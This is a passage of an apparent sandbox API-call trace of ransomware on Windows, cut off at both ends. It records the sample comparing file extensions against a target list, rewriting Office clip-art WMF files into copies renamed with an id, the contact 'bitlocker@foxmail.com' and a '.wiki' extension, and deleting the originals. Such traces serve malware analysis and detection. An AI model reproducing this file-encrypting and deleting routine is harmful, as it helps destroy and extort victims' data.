(lpString1=".xls", lpString2=".WMF") returned 1 [0195.628] lstrlenW (lpString=".xlsx") returned 5 [0195.628] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.628] lstrlenW (lpString=".ppt") returned 4 [0195.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.628] lstrlenW (lpString=".zip") returned 4 [0195.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.628] lstrlenW (lpString=".rar") returned 4 [0195.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.628] lstrlenW (lpString=".bz2") returned 4 [0195.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.629] lstrlenW (lpString=".7z") returned 3 [0195.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.629] lstrlenW (lpString=".dbf") returned 4 [0195.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.629] lstrlenW (lpString=".1cd") returned 4 [0195.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.629] lstrlenW (lpString=".jpg") returned 4 [0195.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.629] lstrlenW (lpString=".doc") returned 4 [0195.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.629] lstrlenW (lpString=".docx") returned 5 [0195.629] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.629] lstrlenW (lpString=".pdf") returned 4 [0195.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.629] lstrlenW (lpString=".xls") returned 4 [0195.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.629] lstrlenW (lpString=".xlsx") returned 5 [0195.629] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.629] lstrlenW (lpString=".ppt") returned 4 [0195.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.629] lstrlenW (lpString=".zip") returned 4 [0195.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.630] lstrlenW (lpString=".rar") returned 4 [0195.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.630] lstrlenW (lpString=".bz2") returned 4 [0195.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.630] lstrlenW (lpString=".7z") returned 3 [0195.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.630] lstrlenW (lpString=".dbf") returned 4 [0195.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.630] lstrlenW (lpString=".1cd") returned 4 [0195.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.630] lstrlenW (lpString=".jpg") returned 4 [0195.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.630] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.630] lstrlenW (lpString="J0107708.WMF") returned 12 [0195.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.631] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4808) returned 1 [0195.631] CloseHandle (hObject=0x220) returned 1 [0195.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) returned 0x20 [0195.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.631] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.631] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.632] GetLastError () returned 0x0 [0195.632] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0195.633] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0195.634] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.634] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.634] SetEndOfFile (hFile=0x1f8) returned 1 [0195.634] CloseHandle (hObject=0x1f8) returned 1 [0195.634] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.634] SetEndOfFile (hFile=0x220) returned 1 [0195.635] CloseHandle (hObject=0x220) returned 1 [0195.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) returned 1 [0195.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.636] lstrlenW (lpString=".doc") returned 4 [0195.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.636] lstrlenW (lpString=".docx") returned 5 [0195.636] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.636] lstrlenW (lpString=".pdf") returned 4 [0195.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.636] lstrlenW (lpString=".xls") returned 4 [0195.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.636] lstrlenW (lpString=".xlsx") returned 5 [0195.636] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.636] lstrlenW (lpString=".ppt") returned 4 [0195.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.636] lstrlenW (lpString=".zip") returned 4 [0195.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.636] lstrlenW (lpString=".rar") returned 4 [0195.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.636] lstrlenW (lpString=".bz2") returned 4 [0195.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.636] lstrlenW (lpString=".7z") returned 3 [0195.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.636] lstrlenW (lpString=".dbf") returned 4 [0195.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.636] lstrlenW (lpString=".1cd") returned 4 [0195.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.636] lstrlenW (lpString=".jpg") returned 4 [0195.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.637] lstrlenW (lpString=".doc") returned 4 [0195.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.637] lstrlenW (lpString=".docx") returned 5 [0195.637] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.637] lstrlenW (lpString=".pdf") returned 4 [0195.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.637] lstrlenW (lpString=".xls") returned 4 [0195.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.637] lstrlenW (lpString=".xlsx") returned 5 [0195.637] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.637] lstrlenW (lpString=".ppt") returned 4 [0195.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.637] lstrlenW (lpString=".zip") returned 4 [0195.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.637] lstrlenW (lpString=".rar") returned 4 [0195.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.637] lstrlenW (lpString=".bz2") returned 4 [0195.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.637] lstrlenW (lpString=".7z") returned 3 [0195.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.637] lstrlenW (lpString=".dbf") returned 4 [0195.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.637] lstrlenW (lpString=".1cd") returned 4 [0195.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0195.637] lstrlenW (lpString=".jpg") returned 4 [0195.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.638] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.638] lstrlenW (lpString="J0107712.WMF") returned 12 [0195.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.638] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4636) returned 1 [0195.638] CloseHandle (hObject=0x220) returned 1 [0195.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 0x20 [0195.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.638] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.638] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.641] GetLastError () returned 0x0 [0195.641] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x121c, lpOverlapped=0x0) returned 1 [0195.642] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0195.643] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.643] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.643] SetEndOfFile (hFile=0x1f8) returned 1 [0195.643] CloseHandle (hObject=0x1f8) returned 1 [0195.643] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.643] SetEndOfFile (hFile=0x220) returned 1 [0195.644] CloseHandle (hObject=0x220) returned 1 [0195.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0195.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.645] lstrlenW (lpString=".doc") returned 4 [0195.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.645] lstrlenW (lpString=".docx") returned 5 [0195.645] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.645] lstrlenW (lpString=".pdf") returned 4 [0195.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.645] lstrlenW (lpString=".xls") returned 4 [0195.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.645] lstrlenW (lpString=".xlsx") returned 5 [0195.645] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.645] lstrlenW (lpString=".ppt") returned 4 [0195.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.645] lstrlenW (lpString=".zip") returned 4 [0195.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.645] lstrlenW (lpString=".rar") returned 4 [0195.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.645] lstrlenW (lpString=".bz2") returned 4 [0195.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.645] lstrlenW (lpString=".7z") returned 3 [0195.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.645] lstrlenW (lpString=".dbf") returned 4 [0195.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.645] lstrlenW (lpString=".1cd") returned 4 [0195.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.646] lstrlenW (lpString=".jpg") returned 4 [0195.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.646] lstrlenW (lpString=".doc") returned 4 [0195.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.646] lstrlenW (lpString=".docx") returned 5 [0195.646] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.646] lstrlenW (lpString=".pdf") returned 4 [0195.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.646] lstrlenW (lpString=".xls") returned 4 [0195.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.646] lstrlenW (lpString=".xlsx") returned 5 [0195.646] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.646] lstrlenW (lpString=".ppt") returned 4 [0195.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.646] lstrlenW (lpString=".zip") returned 4 [0195.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.646] lstrlenW (lpString=".rar") returned 4 [0195.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.646] lstrlenW (lpString=".bz2") returned 4 [0195.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.646] lstrlenW (lpString=".7z") returned 3 [0195.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.646] lstrlenW (lpString=".dbf") returned 4 [0195.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.646] lstrlenW (lpString=".1cd") returned 4 [0195.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0195.646] lstrlenW (lpString=".jpg") returned 4 [0195.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.647] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.647] lstrlenW (lpString="J0107718.WMF") returned 12 [0195.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.647] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3800) returned 1 [0195.647] CloseHandle (hObject=0x220) returned 1 [0195.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 0x20 [0195.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.647] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.648] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.648] GetLastError () returned 0x0 [0195.648] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xed8, lpOverlapped=0x0) returned 1 [0195.650] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0195.650] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.650] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.651] SetEndOfFile (hFile=0x1f8) returned 1 [0195.651] CloseHandle (hObject=0x1f8) returned 1 [0195.651] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.651] SetEndOfFile (hFile=0x220) returned 1 [0195.651] CloseHandle (hObject=0x220) returned 1 [0195.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0195.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.652] lstrlenW (lpString=".doc") returned 4 [0195.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.652] lstrlenW (lpString=".docx") returned 5 [0195.652] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.652] lstrlenW (lpString=".pdf") returned 4 [0195.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.652] lstrlenW (lpString=".xls") returned 4 [0195.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.652] lstrlenW (lpString=".xlsx") returned 5 [0195.652] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.652] lstrlenW (lpString=".ppt") returned 4 [0195.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.652] lstrlenW (lpString=".zip") returned 4 [0195.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.652] lstrlenW (lpString=".rar") returned 4 [0195.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.652] lstrlenW (lpString=".bz2") returned 4 [0195.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.652] lstrlenW (lpString=".7z") returned 3 [0195.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.653] lstrlenW 